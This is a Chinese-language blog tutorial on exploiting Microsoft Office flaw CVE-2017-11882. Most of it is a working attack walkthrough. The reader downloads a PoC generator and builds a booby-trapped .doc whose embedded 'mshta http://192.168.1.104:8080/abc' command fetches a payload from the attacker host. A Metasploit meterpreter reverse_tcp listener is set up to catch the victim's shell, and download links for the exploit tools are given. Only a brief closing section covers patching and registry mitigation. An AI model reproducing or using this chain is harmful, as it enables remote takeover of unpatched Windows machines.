CVE-2017-11882漏洞利用

CVE-2017-11882漏洞利用

最新Office的CVE-2017-11882的poc刚刚发布出来，让人眼前一亮，完美无弹窗，无视宏，影响Ms offcie全版本，对于企业来说危害很大。在此简单说下这个漏洞的复现和利用过程。

POC地址：https://github.com/Ridter/CVE-2017-11882/

下载Command43b_CVE-2017-11882.py脚本文件（文末分享云盘链接）。

使用的方法很简单，执行下面命令，生成漏洞doc文件。

python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc

使用office 2013打开，直接执行。

关于怎么进一步利用，可以利用msf进行攻击。

这里有个小技巧，因为命令长度有43字符的限制，可以使用URIPATH设置路径，尽量短一点，避免加起来超过43字符。

这里我仔细说一下，希望每个人都能看懂。

准备阶段：

kali:192.168.104

win7:192.168.1.132

win7里面的doc文件可以用office打开。我的win7虚拟机用的是office2013（文末分享）

首先打开kali，查看 IP，可以看到我的虚拟机kali的 IP是192.168.1.104。把Command43b_CVE-2017-11882.py下载下来放kali的桌面就可以。接下来就要把PS_shell.rb文件下载下来。就把PS_shell.rb和ms17-010.rb放一起吧。

ms17-010.rb文件的路径是：/usr/share/metasploit-framework/modules/exploits/windows/smb/ms17-010.rb，把PS_shell.rb放smb下面，和ms17-010在一起。

准备工作做好了，接下来就是msf上场了。

输入msfconsole，然后reload_all，重新加载所有模块。

接下来输入命令：search PS_shell

use /exploits/windows/smb/PS_shell

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.1.104

set uripath abc

exploit

会出现 started reverse tcp hander on 192.168.1.104:4444

using url，local ip，，，

mshta.exe "http://192.168.1.104:8080/abc"

接下来就到了 Command43b_CVE-2017-11882.py 上场了。

前面说到，我们是把py文件放 kali 桌面的，所以在 kali 执行的时候路径要注意。

cd Desktop

输入命令：python Command43b_CVE-2017-11882.py -c "mshta http://192.168.1.104:8080/abc" -o test.doc

会在同目录生成 test.doc 文件。

然后复制到 win7里面用 office2013 打开。

win7 打开的时候，msf 输入 sessions

成功返回 shell。

具体请看截图，至此CVE-2017-11882漏洞利用结束，下面还可以进行一系列渗透了。

修复方案：

1.下载微软对此漏洞补丁：https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882，并且开启自动更新功能

2.在注册表中禁用该漏洞模块

reg add "HKLM\SOFTWARE\Microsoft\Office\XX.X\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400

reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\XX.X\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD/d 0x400

Command43b_CVE-2017-11882.py：（链接: https://pan.baidu.com/s/1hslbc80 密码: 5ap6）

PS_shell.rb：（链接: https://pan.baidu.com/s/1gfF5jmN 密码: rkwy）

office2013：（链接: https://pan.baidu.com/s/1eSElsrC 密码: q66f）

本文链接（http://www.cnblogs.com/Oran9e/p/7880832.html），转载请注明。

任重而道远！